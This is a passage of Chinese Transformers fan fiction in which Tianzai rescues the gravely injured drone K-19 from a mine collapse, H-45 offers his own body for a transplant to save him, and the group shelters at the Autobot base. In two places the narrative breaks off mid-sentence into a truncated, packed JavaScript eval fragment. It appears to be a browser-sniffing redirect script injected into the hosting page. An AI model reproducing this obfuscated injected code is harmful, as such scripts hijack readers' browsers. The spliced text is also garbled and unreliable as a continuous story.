哈,有时候他对那架飞机做出的举动恨得牙根痒痒,可有时候,K-19所表现出来的关心也让他毫无办法。 乃至到现在他一旦想起K-19,眼前浮现出来的全是飞行单位身上柔和磁场散发出来的情绪粒子和一直注视着他的面甲。 …… 什么时候他竟然让那架名为K-19的量产机在自己的火种中深入到了如此的地步。 天灾垂下光学镜,忍耐住脑模块不适的阵痛。 他隐隐约约知道那股莫名的情绪是什么。 他不是一个一无所知的傻子。 但…… 这一切一定不会是他们都想要的。 在这之前原有比这更重要的东西横亘在他们眼前。 比如横跨四百万年的战争、自身存在的意义、无法逃脱的掌控和根本不曾为自己燃烧过的火种。 系统的模拟与计算在此时得出结果。 一如刚刚K-75所言。 毫无进展的救援不过是在浪费时间。 火种中的焦虑越发难以控制,油罐车失去自我控制狠狠踏了两下看似平整的地面,磕磕绊绊的泥土反馈以他柔软的质地,似乎没有任何的异常。 所有的细节在油罐车的CPU中盘旋,他压下刚刚乱七八糟的情绪,告诉自己专注于眼前,试图找出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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擎天柱惊慌间在叫他不要鲁莽,但天灾管不了那么多。 激光第二次砸向地面发出一片惊人的光芒,只听轰隆一声巨响,地面应声裂开,天灾脚下一空跟随岩石一同落入深不见底的裂缝中。 油罐车以和他机体不符的灵敏用一个漂亮的翻身安稳落到了地面。 这里果真如他所料。 他扫视过眼前的景色。 量产机的矿洞下还存在着一处自然形成的天然空洞,而霸天虎的轰炸显然不止造成了矿洞的坍塌,还造成了地面的二次塌陷。 这就是为什么地上的泥土会跑到地下来。 天灾在上面踩到的“地面”实际上是二次坍塌后由顶层的泥土重新累积出来的平台。 灯光照亮了眼前,他试探性地向前摸索着,感官系统被调整到了最大,听觉系统在这时敏锐地听见了一些不同寻常的响声。 咔、咔…… 与此同时,空气中能量液的腥甜味道弥漫得越来越明显。 天灾压下忧虑,脚步越来越快,踩过满地的狼藉,跟随着一道明显的拖行痕迹。 一架背靠岩石、涂装几乎趋近于苍白的机子也出现在了他眼前。 那是…… 猩红的光学镜猛地瞪大,天灾冲上前扶住了量产机破损的机体。 手部传感器没能传来矿机身上温暖的温度,也没能感受到一直缠绕在那架飞行单位机身上的柔和磁场。 有那么一瞬天灾以为自己抓住的只是一具失去了火种的尸体。 他以为他来晚了,也许他在寻找时浪费了太多时间,也许K-19的机体受了太重的伤…… 在油罐车趋近于绝望的目光中,矿机的指尖微微颤动了一下。 “K-19!” 60.你得活下来 很少有人能准确描述死亡。 锈蚀年代的诗人们曾用种种或浪漫或诡异的词语赋予它具体的形象。 传颂整个星球的诗句中,火种挣扎的跳动是普莱姆斯神的垂怜,火种舱的余温是神明指尖的温度,赛博坦人管线中流淌出的最后一滴能量液是普莱姆斯落下的泪水。 金属的月亮和死亡的颂歌,诗人们爱不释口,他们不分昼夜、不分场合地歌颂。 消失在通讯器里的殖民星球无法阻止他们,蔓延在城市中的锈病无法阻止他们,议会架在他们脖子上的刀无法阻止他们。 一批人如他们诗歌中说的那样死去了,又一批人活下来,继续歌唱他们优美的诗句。 然而华丽的词藻抵挡不住他们在恐惧面前原形毕露的丑陋面甲。 他们扒开逝者的坟墓、撕开死者的胸膛,将被碳基植物寄生的机体摆在广场,向每一个路过的赛博坦人宣扬普神赐予他们的一切最终都要回归火种源。 无差别的死亡与大规模的瘟疫肆虐,混乱的年代滋生出天马行空的疯子,最终诗句和诗人一起失踪于议会编纂的史书中再不见踪影。 如今在这不见天日的矿洞中,苏醒的K-19却无师自通地跨越时间与个体的差异和那诞生于荒诞年代的诗句共鸣。 他们说——死亡来临前,时间是无限的沙漏。 …… 系统重新上线时,阵痛仍然停留在处理器最后的运行结果中,机体的受损弹窗不断地跳出遮挡他的视线,而K-19连一丝关掉他的精力都提不起来,昏昏沉沉的脑模块仍然处于失血过多的眩晕中。 他恍惚地低下头,看见胸舱外装甲破损的一角透露出隐约的蓝光——他还活着的证明。 过了好一会儿矿机才找回自己的意识,机体濒临下线前的应急操作救了他一命。 机体的自检报告显示矿机胯部以下的机体已经被完全毁坏,腰腹部一根碎石直接扎穿了他的主能量输送管线,能量液不断地从中流出,染蓝了大半个地面。 但唯一称得上是好消息的是那根碎石也恰好堵住了伤口,这为K-19能够重新上线创造了条件。 他艰难地抬起头,看见周围闪烁着荧光的地球矿物,而头顶则是原本属于主矿洞的地质层。 在他机体下是另一个同伴的尸体,苍白色的机体扎在他们身下密密麻麻的钟乳石上,最后为K-19顶住了致死的威胁。 机体的感知系统依然没有回应,他摸索着爬下同伴的尸体。 他逃离了黑暗,更远处却是深不见底的深渊。 最终他支撑起自己,斜靠在岩石上粗粗地喘着气。 能量液从坍塌的地方一路延伸至他的身下形成一条蜿蜒的蓝色河流,在矿物的作用下散发着微光。 他抬起头,仰望头顶的泥土,试图看见洞顶泄露而下的月光。 那些老兵总说,从战争中摸爬滚打一圈回来后,幸存者的第一反应永远是大肆庆祝,用高纯麻痹自己颤抖的神经、不自然的亢奋与难以抵消的恐惧。 可K-19不是第一次从死亡里爬回来了。 那一瞬K-19在刺骨的寒冷中笑出了声。 疼痛如此鲜明,告诉他是谁还在现世中徘徊。 主系统疯狂地警告他不要启动所有的功能,但K-19将所有的警告抛之脑后,像是一同被他抛弃的身份、阵营和世界。 机体发出痛苦的嗡鸣,然而K-19却笑得那么厉害,矿机沙哑低沉的笑声回荡在空无一人的洞穴,传播得极远,然而K-19却觉得如此畅快。 能量液随着他剧烈的动作喷涌而出,疼痛越加难以忍受,就连他的发声器中都已经满是能量液的反涌,但也正因如此,K-19感受到自己用力地活着。 事已至此,他早已不再奢求自己能再看见明日的太阳,但此时此刻,他感受到洞穴中微微流动的风,听见深渊中盲鱼跃起水面砸出的水声,看见光学镜中弥漫的白雾。 他第一次鲜明地感受到活着。 哈。 哈哈。 他笑着,清洗液却不受控制地顺着脸颊而下,染湿了他斑驳的胸口。 火种舱中,火种微弱地跳动着,跃出的火舌在胸甲破损的边缘烧出明显的痕迹,像是要将这里有一个生命也曾用力活过的证明烙印在赛博坦人不被时间吞噬的装甲上。 慢慢地,矿机的笑声停了下来,K-19维持着那个姿势,从自己的子空间中取出一个尚未雕刻完成的木像。 矿机磨损的爪子再握不住未成型的木头,但隐约可见上面高高竖起的两根天线、掩盖在面具下的面容与那双狠厉又高傲的光学镜。 他艰难地举起小像,小心地调整着角度,用矿石微弱的光芒照亮它的全貌。 影子投射在墙壁上,印出一个模糊的身影。 笑意撤去,寒冷再度卷土重来,破损的机体不受控制地颤抖着,但他只是用柔和的眉眼描摹着那块被他珍藏的木雕。 也许这份礼物曾经有机会被送出去,但现在只能在K-19自己的手里和他的机体一起长眠地下。 飞行单位很清楚在这样的坍塌中寻找一架不知所踪的机子有多难,又有多少次量产机们自发的搜救行动是以无果告终。 记忆中属于那辆油罐车的一切回忆都在逐渐褪色,然而因为天灾而跃动的情绪粒子却依然在告诉他,他和他的相遇是他的一生所能经历的最大的奇迹。 他只是很庆幸,至少死在这里的机子是自己,而至少……至少天灾没有和他们一起经历这一切。 他将那与某辆油罐车酷似的影子牢牢烙印在自己的光学镜中,将木雕再度好好地收了起来。 他轻轻地拍了拍藏着木雕的胸口,感觉到越来越浓重的睡意。 能量液早已不再争先恐后地从破损的机体涌出,他缓缓垂下了手,希望自己眼中最后留下的影像是一个漆黑又傲娇的背影。 而就在意识彻底消散之前。 他听见了那道呼唤自己的声音,犹如一道惊雷在K-19的火种中砸出阵阵涟漪,惊醒消弭的意志。 他瞪大光学镜,看见他的救世主一步步跑向自己,那双温暖的指爪握住他断裂的指尖,点点暖意从被触碰的指尖蔓延到他失去知觉的机体,驱散了挥之不去的寒冷。 开放了全部权限的感知系统尽职尽责地将属于另一架机体的存在传递到量产机逐渐麻木的脑模块中。 一瞬间,属于另一架机体的温度驱散了白雾,赶走了杂音更强过了世间一切的存在。 油罐车霸道的磁场将K-19拢在了自己的范围之下,K-19看得见,天灾光学镜中的担忧,那样直白,毫无掩饰,光学镜中涌起酸涩,让矿机险些哭出声。 「他从没想过有人会来救他」 油罐车的手从他的腕部摸索到他被拦腰截断的腹部,面具咔的一声收了回去,K-19得以看见油罐车紧抿的唇和始终不曾颤抖的那双手是如何为他焊接上不断泄露的管线。 别再做无用功了。 矿机的声音带着杂音和噪点说。 「他从没想过会有人来救他的」 我活不下来了。 天灾看向他,那双漂亮的光学镜终于全心全意地只看着他一个人。 不,他听见属于他的救世主那样告诉他,比K-19本人还要坚定地告诉他,他能活下去。 「他从没想过他能活下来的」 能量液滴滴答答地掉落。 油罐车低吼着,在这只有他们两个人的黑暗中。 我不允许,你听见了吗,我不允许你独自离开! 天灾终于抓住了他的肩膀,那双红色的目镜犹如生命的颜色,和K-19相对。 他说—— 我不允许你死。 天灾撕开自己手臂上的装甲,咬断了自己胳膊上的线路,接上K-19断裂的管线。 你得活。 他听见天灾向着逐渐逼近的死亡宣战,我不准你被死亡带走。 你还欠着我那么多东西。 你还没向我道歉、没有完成和我的约定…… 你还没为自己活过。 天灾脖子上的项圈闪烁着红点,断断续续、忽明忽暗,像是天灾从未由自己做主过的人生,也像是他身不由己的一切。 所以你不准死,油罐车终于泄露出自己的种种情绪。 你得替我去看看赛博坦的海,去看锂平原上是否有机械的鹿,去看看裂谷中也有升起的黎明…… 你得替我去看看自由的生活是什么样的。 担忧、慌乱、无助、愤怒……K-19想自己并不意外这股复杂的乱码,他不止一次与他们相处。 如今他们再度卷土重来,在这个最糟糕的时机。 他想要抬起手为他眼前的机子拂去光学镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪怕在最后,当死亡的裁决降临时,他也从没有过一丝后悔。 从黎明高地的战场活下来,那是他做的第一次选择,然后是第二次,第三次…… 他救下了本该死的人,背叛了他的原始代码,才第一次察觉到自己正在活着。 可如今,他看着自己眼前的天灾,突然感到了前所未有的后悔。 他本应该更小心一些的。 他本应该告诉天灾,他很抱歉,他真的很抱歉,他只是希望天灾能摆脱束缚,过上比他更自由的生活。 他本应该…… 有那么多他本应该做的。 两个机子的磁场崩溃地交织在一起,混乱的粒子交互着彼此的思想与情绪,久久地才平息下来。 K-19擦干自己的清洁液,光学镜看向来寻找自己的天灾。 他曾以为自己不过是一个消耗品,就像一直以来被告诉的那样,他是一架连死去也无人在意的量产机。 设计他们的人在底层代码上为他烙印上无关紧要的标签。 可他现在有资格告诉那位最初设计出他们的科学家,告诉他—— 人造的士兵也可以和神造的赛博坦人一样感受到喜怒哀乐的一生。 而他已经度过了浑浑噩噩的上半生,下半生,他想要守护在天灾身边。 流水线制造的CPU明白了这种一直徘徊在火种中的柔软情绪叫做什么,而他绝不打算再让机会从自己的指尖溜走。 从另一架机子上流淌过来的能量液正在为他争取到幸存的机会,他握住天灾仍然在颤抖的手腕。 我会活下来,他将脸颊贴到天灾的手心。 我会活下来。 他这么告诉着已经逐渐绝望的天灾。 所以别再哭了。 不要为我哭泣了。 我会伤心。 我会比任何人都更加伤心。 而天灾的嘴唇上下翕动着,任由K-19的手指擦掉自己眼角干涸的泪痕。 在他们身后,是救护车明晃晃的车灯照射过来的光芒。 代表希望的光芒。 “他们在这里!” “我找到他们了!” 61.H-45的决定 K-19在被运送回地面的中途陷入昏厥。 天灾输送给他的能量终究是杯水车薪,矿机脆弱的系统能够支撑他二次苏醒本就已经是一个不可复制的奇迹,赶来的医官不敢再拖延但地下复杂的地况终究是让医官变得越来越焦躁。 当矿机的火种频率不自然地开始逐渐降低时,救护车的焦躁几乎变为实质化的恐慌,而油罐车充足的火力在那之前先一步为他们直接炸开了一条生路。 …… 当那抹熟悉的紫色机体在轰隆裂开的山体中逐渐显露时,所有人都由衷地松了口气。 量产机们的机翼垂了下来,纷纷凑上前想要看清他们。 然而同伴们欣喜的磁场却在看清K-19身上的伤势时骤然沉默。 K-19背部的支撑轴已经全数断裂,自胸舱以下的部分被拦腰截断,而主能量线路拖拽着仍在淅淅沥沥地散落能量液,胸舱中泄露出火种虚弱地摇曳。 熟悉战场的量产机们很快判断出那是足以致命的伤势。 K-75欢喜的情绪一下子哽在发声器,飞行单位的光学镜中难掩担忧,他看了看K-19又看向了狼狈的天灾。 油罐车的左手此时已经完全失力垂了下去,一条线路带着明显的撕裂痕迹从天灾自身的机体连接到昏厥的K-19身上,而随着医官小心翼翼地断开他们之间的联系,一口气输送了太多能量过去的天灾突然踉跄起来。 在摇摇晃晃的油罐车摔倒前擎天柱先一步接住了他。 K-75小松了一口气,随即连忙招呼了几个同伴跑上前帮救护车稳住了K-19的机体。 量产机们为他们自动让开一条道路,而K-75直到天灾被领袖扶去休息才敢小声地央求救护车一定要救活K-19。 医官没有给他肯定的答复。 现场的气氛中带着K-75最熟悉不过的不祥的沉默。 K-75身上的悲伤终于不再掩饰,而救护车抿紧嘴,转瞬间又恢复成了战场上的铁面医生。 只有匆匆的步伐和磁场中散发出的噪点才能看出医官火种中同样多的焦躁与担忧。 救护车绷着脸半跪在量产机破损的机体前,焊接住了K-19腹部伤势最严重的裂口,K-75也紧紧闭上了发声器,不时帮他打些下手。 H-45微弱地喘息着,莹莹蓝光正在虚弱地闪烁着最后的余光,他逐渐昏暗的光学镜却盯着在医官手下的K-19。 一个艰难的决定正在他的火种中逐渐成型。 生命进入倒计时的机子嘴角缓缓勾起了一个弧度。 也许现在才是他能够回报K-19与天灾的恩情的时刻。 H-45乐观地想,这将是他所能做出的第一个决定。 …… 在忙碌的医官身后是离他们最近的汽车人们、大气也不敢出的量产机们和坐在离人群最远处的天灾。 他没有擦拭去机身上被K-19溅射到的蓝色血液,腥甜的味道挥之不去,臂甲上的裂口早已不再流出能量液却不断带来痛苦的记忆闪回。 面罩遮住了他的全部表情,只一双红色的光学镜幽幽地放空,乍一看似乎小油罐车已经从崩溃中缓了过来,但他骗得过其他人却骗不过领袖。 擎天柱再熟悉不过油罐车磁场中隐藏的情绪。 他深深闭上了光学镜。 擎天柱想,他怎么会不熟悉这种感觉呢。 领袖曾不止一次从镜子的倒影中窥见自己脸上和天灾如出一辙的悲伤。 在天灾缓缓转过来的目镜注视下,擎天柱坐到了他的身侧。 领袖熟悉的磁场袭来,天灾的机体随之一僵。 领袖仿若毫无察觉一般纹丝未动,那只大手却轻轻按在了天灾的手甲上。 细微的颤抖从两人相握的手上传递到领袖的传感器。 擎天柱的光学镜黯然了一瞬,在油罐车想要抽走时紧紧按住了他。 领袖的手上传来近乎灼热的温度,令天灾忍不住想要逃走,而擎天柱蓝色的光学镜再度撞入天灾混乱的处理器。 他们一句话未说,却仿佛读懂了彼此的心绪,最终天灾任由了领袖的动作,放空的光学镜也逐渐聚焦到了现实。 两个大型机的磁场在沉默中逐渐试探着,慢慢接纳了彼此,天灾的磁场中也不再包含拒人千里之外的尖锐。 不远处,救护车和K-75不发一言地忙碌着。 “……别太小瞧我了。”半晌,那辆油罐车才说道。 “我没有你想的那么脆弱。” 天灾的头雕注视着K-19的方向说道,被领袖握住的手也在缓缓地往回抽。 领袖感受到天灾已经停止的颤抖和逐渐回温的机体温度,才松开了他。 天灾随后和他拉开了坐着的距离。 “只是希望你没事。”领袖说。 “你今天晚上经历了很艰难的时刻。” “而我很高兴你呼叫了我们的帮助,你不必一个人面对这些。” “你可以信任我,”领袖想了想又补充道,“你可以信任汽车人。” “哈……” 油罐车干巴巴地说,那本应该是一句针锋相对的嘲讽但天灾却不知道为什么自己无法再像之前一样对着领袖柔和的面甲说出来。 他将之归咎于领袖今晚的帮助。 “别误会了领袖。”他犹豫着说道,“我不想和你们扯上太深的关系。” “我还没有承认你的身份,别太……” “我知道。”擎天柱打断他,饱含了种种情绪的光学镜注视着油罐车逃跑欲望越来越深的火种说。 “你不用勉强自己。” “我不想让你不舒服,在你接受我之前,我不会用造物主的身份要求你什么,不要紧张。” “但你有其他的考虑吗?” “什么?”刚刚缓和下来脸色的天灾又因为领袖这一句问话而紧绷起来。 “你和这些机子们,接下来的打算是什么?霸天虎已经知道了他们的存在,你们的庇护所已经不安全了。”领袖释放出磁场缓缓说。 “接下来你们要去哪里?你不可能再带着他们在地球流浪。” 擎天柱知道天灾的处理器不会允许这种程度的危险存在。 油罐车沉默了,他看了看环绕在周围的机子们,感受到了自己深深的无力。 他知道领袖在建议什么,但他依然不能接受。 那样做的风险远比他们继续流浪的危险性要更大。 “他们以前是霸天虎的机子,经历了一切才活下来,如果你是想举荐汽车人的话,我劝你打消那个念头吧领袖。”天灾说。 “他们以前不是汽车人,现在也不会成为汽车人的人。” “并不是加入我们。”领袖向他伸出了手。 “我向你们提出的是一个真正的机会。” “我会为你们提供一个居所,一个可以安居的地方,你们可以保持中立的状态,没有人会再要求你们加入到……我和威震天的战争中。” 擎天柱还欲说些什么,天灾却摇摇头止住了他的话茬。 “不加入你们,维持中立。听起来像是一个好建议,但领袖,你真的觉得威震天和霸天虎会这么轻飘飘地放过他们吗?假如他们知晓了这些量产的机子非但没有死在他们手里还同意了汽车人的建议?” “你也许的确是提出了一个可行的建议,领袖,我感谢你的好心,但我恐怕在霸天虎看来,接受了汽车人领袖的提议本身就已经代表了一种立场。”天灾冷静地说道,他知道领袖明白自己说的是现实。 哪怕与威震天仅仅见过一面,天灾依然凭借一种准确到恐怖的直觉知晓了自己的另一个遗传信息提供者是一架怎样的机子。 那是一个不允许背叛与忤逆存在的唯我独尊的雄主,天灾很清楚当背叛发生时这样的机子会做出怎样疯狂的举动。 愤怒会让威震天将与背叛者有瓜葛的人都一并算入清算名单。 因为天灾自己就是这样的机子。 正因为交付了全部的信任,背叛才显得尤为不可原谅,而任何涉足其中的机子都将承担被背叛者的怒火。 怒火燃烧到最后会变成毫无理由的迁怒。 他强迫自己忽视领袖失望的眼神,注视着救护车那边的动静。 “……但还是感谢你,擎天柱。”他小声说道。 “我们会想到办法的。” “别把我们看得太轻了,领袖。既然威震天已经派出人处理我们,那么现在他和霸天虎一定认为我们已经‘死’了,维持好假象,我们会过得很好。”他向着擎天柱解释道。 领袖依然没放弃,“即便如此,我的建议依然有效,你随时可以来找我们帮忙。” “……我会的。” 逐渐缓和的气氛停止于医官快速走过来的脚步声。 在天灾和擎天柱凝重的目光中,救护车给出了一个坏消息。 K-19的伤即便已经经过天灾和救护车的处理,金属感染和过大的创口依然对机体造成了不可逆的损伤。 他会死于能量液流失过多。 医官悲悯的眼神刺伤了两架大型机的火种,天灾看起来更是已经完全陷入了恍惚。 就在救护车还想要说什么之前,一个格外虚弱的声音插了进来,三架机子木然地转过头去,看见了同样身受重伤的H-45。 K-75跟在他们身后,躲开了天灾和领袖投过来的目光。 “医生……”被贯穿了火种舱 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“我和K-19都是同一条流水线下来的士兵,我们的零件本就兼容,根本不会出现机体排异反应。” “而医生你只需要切除我的胸舱,将我的机体与K-19的部分结合,远远不需要单独剥离出他的火种。” “将提供能量与保护的火种舱一并移植到另一具完好的机体里,手术的成功率远比单独剥离出火种的成功率更高。” “更何况K-19的上半部分机体保存程度远比我的更加完好,你甚至不需要考虑脑模块的问题。” 他狡黠地笑了笑,濒死的机子磁场中露出了显而易见的愉悦。 “炉渣的,这根本不是可不可行的问题!”救护车看起来要疯了,“固然这样有更高的成功率,但你有没有想过……!” “嘿、嘿,冷静点儿医生。” H-45吐出一口能量液,火种舱中泄露出蓝色的火苗,“你看,我已经没救了,你不必骗我,医生,我感受得到。” “既然我必然死于火种衰竭,为什么不能在死前物尽其用呢?”他伸出尖锐的指爪颤抖着拍了拍自己的机体。 气氛陷入了凝滞,而天灾久久凝视着他的面甲,只问出了一句话。 “为什么?”他说。 油罐车的磁场紧紧缩在他的机体内,领袖靠在他身侧,同样注视着那架命不久矣的量产机。 H-45面对着三架机子的凝视,依然面不改色,他甚至笑了。 这架战斗单位的飞机在其他同伴的搀扶下第一次露出了正色。 他看着天灾,说道: “你们总是说人都有做出选择的机会,但我这一生就和所有的量产士兵一样从没做出过什么决定。” “从诞生是这样,从被送入战场是这样,从被K-19救回来也是这样。” “生不由我,死也不由我,但现在有一个机会就摆在我面前,小长官。”他一边叫着天灾,一边俏皮地闪了闪光学镜。 “你知道我最不爱按常规走,我不会让K-19一个人独占这个机会的。” “哈……” “我欠了他一条命,而既然我有这个机会,我想偿还这个人情。” “更何况。” “这是我第一次做出的决定。” 他垂下眉眼,手掌轻柔地抚上自己破损的火种舱,火种的跳动正在越来越虚弱。 “这是第一次完全由我自己思考、决定、没有被任何人干扰过所做出的选择。” “即便是死亡。” 他恳求地看向天灾和救护车。 “请,让我完成我的心愿吧。” 在场的所有机子都沉默着,机体运转的声音嗡嗡作响,最终,H-45欣喜地看见天灾缓缓点了头。 救护车还在犹豫,然而领袖握上了医官的肩膀。 “如果这是你……最后的愿望的话。” “是的。”H-45感激地抓住天灾的手爪,告诉他自己这一生所做出的第一个也是最后一个决定。 如果这颗火种一定要熄灭的话,他想将剩余的一切包括自己的全部奉献给曾给予他第一次生命的K-19和给予了他第二次生命的天灾。 没说的话是,H-45希望至少K-19和天灾可以获得幸福。 替所有死在这场战争中的他们获得幸福。 救护车深深叹了口气。 “我需要回到汽车人基地进行手术,我无法在暴露环境作业。” “……”天灾闭上了光学镜,再睁开时磁场和情绪都已经完全消失了。 “我会跟你们一起去。”他说。 62.汽车人基地 俗话说,一回生二回熟。 x国当然也有类似的说法,比如…… “两次是关键。” 当汽车人们第二次在深夜离开基地并带着几架量产的霸天虎士兵回来时,三个孩子对此并没有太多的惊讶。 好吧,还是有一点的。 主要是针对此时此刻靠在墙边等候的天灾。 灯光照耀下,这架浑身漆黑的原生体终于第一次在众人面前露出了自己的全貌,明明是和领袖酷似的机体却带着擎天柱绝对不可能露出来的痞气和冷酷,面罩掩盖了他的情绪但沉默时又额外显得生人勿近。 油罐车的一举一动都彰显着自己独特的个性,偏偏头顶天线随着他们的动作而轻轻变换角度时又叫人觉得可爱。 美琪自他们回来便维持了一种诡异的亢奋,而这种情绪在经过几个小时的发酵后正在逐渐往着促使她开口和这位见过一面的油罐车搭话的趋势进化。 她相信有这种冲动的不止自己一个。 几小时前,当天灾在陆地桥关闭的光芒中现出身形时,杰克嘴里的汽水喷到了拉菲新买的游戏机上,而美琪的手机直接掉到了地上。 随后一切就变成了现在的模样。 汽车人基地内,美琪装作和杰克毫不关心的样子在二层的扶梯上聊着天,两个孩子明显都心不在焉,人类的眼睛全在偷瞄那辆油罐车。 哪怕是年纪最小的拉菲也顶住了熬夜的困倦,趴在两个大孩子身边的横栏上紧紧盯着他。 但对天灾而言这些都无关痛痒,事实上他能感觉到现场还有更多的目光关注着自己的一举一动。 甚至不需要他费心思去收集,翘起的听觉天线微微抖动便将身侧地面单位们的动作都收录进了CPU。 蓝色和黄色地面单位的光学镜一直在跟着自己的动作在转,武器系统预热的声音一直没停下过,而绿色的越野车看起来更像是被强行塞进了一套特小号的外甲里在挣扎,窸窸窣窣的声音平白听了心烦。 更不用提红蓝色大卡车的灼灼目光。 显然擎天柱依然没放弃想要说服自己的想法。 天灾忍不住在芯里叹了口气。 如果不是为了……他根本不可能跟着他们进入汽车人的大本营。 地方太小不适合展开拳脚,还有未知的陷阱和陌生的环境,如果擎天柱真打算强行留下自己,天灾不会逃得太容易。 更不用提这个基地看起来比他们的矿洞看起来都要磕碜,光是容纳领袖一架大型机都已经显小了,更何况现在这里又添了一架大型机还多出来了好几架中型大小的量产士兵。 他余光一瞥,跟着一起来的K-75和另外两架量产机被汽车人们的阵仗吓到缩在墙角不敢动弹,他们的机翼和车轮都已经贴着自己的机体放了。 普神…… 油罐车在内芯再度呻吟一声。 他都不敢想如果自己真加入领袖的队伍这个基地要变得多么混乱,所以哪怕是为了他自己的成长需求,也劳烦他们放弃让自己加入的念头吧。 油罐车置换系统持续地发出舒缓的运转声,他动了动自回来后便没变过的姿势,伸了个腰。 不出所料,在场所有机子的动作都停下了,光学镜一眨不眨地紧盯着他,好像生怕他做出什么来。 在夹杂着警惕、好奇的眼神中,油罐车坦然自若地走到了K-75身边,在一块更靠近三个人类所待的脚手架旁的空地上坐下了。 头雕轻轻靠在楼梯上,人类们只需要转过身就可以和他对视。 毫不在意杰克小声的吸气声和美琪的惊呼,他向蜷缩在一起的几个量产机子拍了拍自己身边的空位。 K-75和另外两架机子这才拘谨地缓缓挪动底盘坐了过去。 三个机子的磁场渐渐放开了,汽车人们身上的液压系统也降压了。 杰克犹豫了几瞬,往下走了几节楼梯,在天灾的注视下紧张地搭话道:“咳嗯……所以,你是加入我们了吗?” 在男孩身后美琪狠狠踩了他一脚,他将将才咽下了痛呼。 好吧好吧!他知道这不是一个好的话题,但他能说什么呢,告诉天灾不好意思我们一直在找机会给你来一枪然后把你打昏带回来吗!救护车的麻醉钳可就放在门口呢! 杰克幽怨地揉了揉小腿肚。 出乎意料地,天灾回应了,拉菲急忙凑得更近了些。 天灾挑了挑眉,“不。” “这只是……特殊情况。” “等救护车完成他的工作,我们就会离开这里。” “不用担心我会杀了你,人类,这有违我的准则。” 阿尔茜看起来像是对油罐车的回答翻了个白眼。 杰克尴尬地笑了笑,美琪却敏锐地察觉到了这是一个天灾式的安抚。 也足够被认为是一个安定信号。 好吧美琪,她暗暗给自己打气。 一回生二回熟,那么第三次就是好运了! 她挤开杰克,冲到了天灾跟前,位置近得足以让隔板紧张起来。 “这代表你现在不是我们的敌人吗?” “比如不会攻击、杀死,或者绑架任何人或者机子?” “……我想你可以这么说。”有被女孩一连串提问震住,油罐车斟酌着说。 “那太好了。” 美琪松了口气,而得到了保证的大黄蜂看起来也像是终于放松了,被遮挡在黄色科迈罗背后的手炮悄悄变形回了手掌。 这可能被隔板和阿尔茜训斥为鲁莽,但不知为什么大黄蜂觉得自己可以相信天灾的话。 “你受了伤,”美琪指了指油罐车一侧手臂上的创口,“需要帮忙吗?” 大胆的示好没有让天灾暴起,也没有隔板预想中的“横尸遍野”,油罐车看起来更像是被逗笑了,他看了看人类和赛博坦人相比娇小的身材。 “我不知道人类还可以做到这种事情。” “工具看起来比你更高。” 美琪闻言不忿地叉起了腰,这幅模样平白让天灾想起了和他争辩世界上是否存在会说话的餐具的安娜,当然那场辩论的胜者毋庸置疑。 “我们当然有更好的人选,”她让了让身子,露出她身后的绿色大块头,“我可以让隔板来帮你!” 天灾的目光随之一动。 被注视着的越野车看起来更局促了。 “隔板?” “哦对了!我都忘了你还不认识他们,”女孩的眼睛亮了,“让我来介绍。” 兴致起来的女孩显然是没看见杰克和拉菲欲言又止的劝阻的,而被她提到的机子则纷纷露出了一个略显不知所措的笑。 美琪的话跳过了擎天柱,但显然对于这位汽车人的领袖,她也不知道该怎么向这位领袖的亲子介绍。 好在天灾的数据库远比她更加了解。 油罐车也借此机会满意地给自己档案库内汽车人阵营的资料进行了一轮更新。 也刻意回避了领袖的眼神。 “你呢?”介绍完一圈后美琪问,“你还没向我们正式介绍过你自己,或者你身后的那几个霸天虎?你们看起来和我们遇见的霸天虎士兵不一样。” 在天灾身后,K-75冒出了一个头。 “我?”他抬起尖锐的爪子,指了指自己,“我叫K-75。” “你好,上次被天灾绑回来的人类女性。” 杰克小声吐槽了一句,霸天虎的直白逻辑。 “那是你的名字吗?”美琪没有纠正他的称呼,反而诧异地皱起了眉。 “那甚至听起来都不像是一个名字。” “这是我们从流水线下来后的编号,代表了我们上线的时间和生产线。” K-75接着说:“而且什么是名字?” 美琪被他问愣了。 天灾伸出手把性格格外活泼的飞行单位从自己身后按了下去。 “我想你们已经足够认识我了。” 他冷静地说,不顾身后K-75散发出的幽怨的气场。 “而且他们也不是霸天虎,早就不是了。” “好 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尽管他们与天灾的联系没有汽车人与美琪那样深,但身边人隐隐约约的对天灾不一样的态度和油罐车本身所表现出来的友好是他们所能够感受到的。 哪怕是为了美琪曾对他们说过的天灾所面临的东西,杰克和拉菲也做不到在油罐车处于这样的时刻时袖手旁观。 天灾没有动作,K-75也同样没说话。 这就是他们所担忧的,从刚刚一直持续到现在的友好气氛在此时荡然无存。 他们根本无从得知手术进度,油罐车的光学镜透过走廊再度投向一直未开过门的医疗室。 他只能希望一切正如H-45所最后希望的那样进行。 “希望如此。”他低声说。 “……但另外一架被推进去的机子……”美琪担忧地想起了救护车的担架上不止有K-19一个机子,“他看起来已经……” 女孩的话没能说全。 她眼看着被救护车抬入医疗室的两架机子一个的火种舱近乎全毁,另一个则只剩下了半个身子。 以人类的标准来判断,那根本不是能被救回来的伤势,而不管哪个是K-19,或者他们想要救下这两个机子,那都是几乎不可能的任务。 哪怕那是救护车。 “那是H-45,”K-75顶着她投过来的目光置换了一下,说,“他希望能用他的机体替换K-19已经损坏的部分。” 人类闻言都露出了震惊的表情。 “可……可……”杰克说,“这样是可行的吗?” 那当然是可行的,三个孩子里拉菲最先意识到了他们想要干什么。 他注意到过霸天虎的量产士兵实际上机体是高度统一的,如果这种统一是建立在他们机体内部回路与零件的一致上,手术的操作可行性就会大大提升。 但还有一个问题,一个最重要的问题。 他担忧地同天灾一样将目光投向了手术室。 “可是这么做了,K-19醒过来后要怎么办呢?” 美琪的眼神恍惚地看向天灾,“你们要怎么解释他活下来是用了H-45的机体?” “如果K-19不希望你们这么做……” 如果K-19知道自己的生存是建立在同伴的死亡之上的话…… 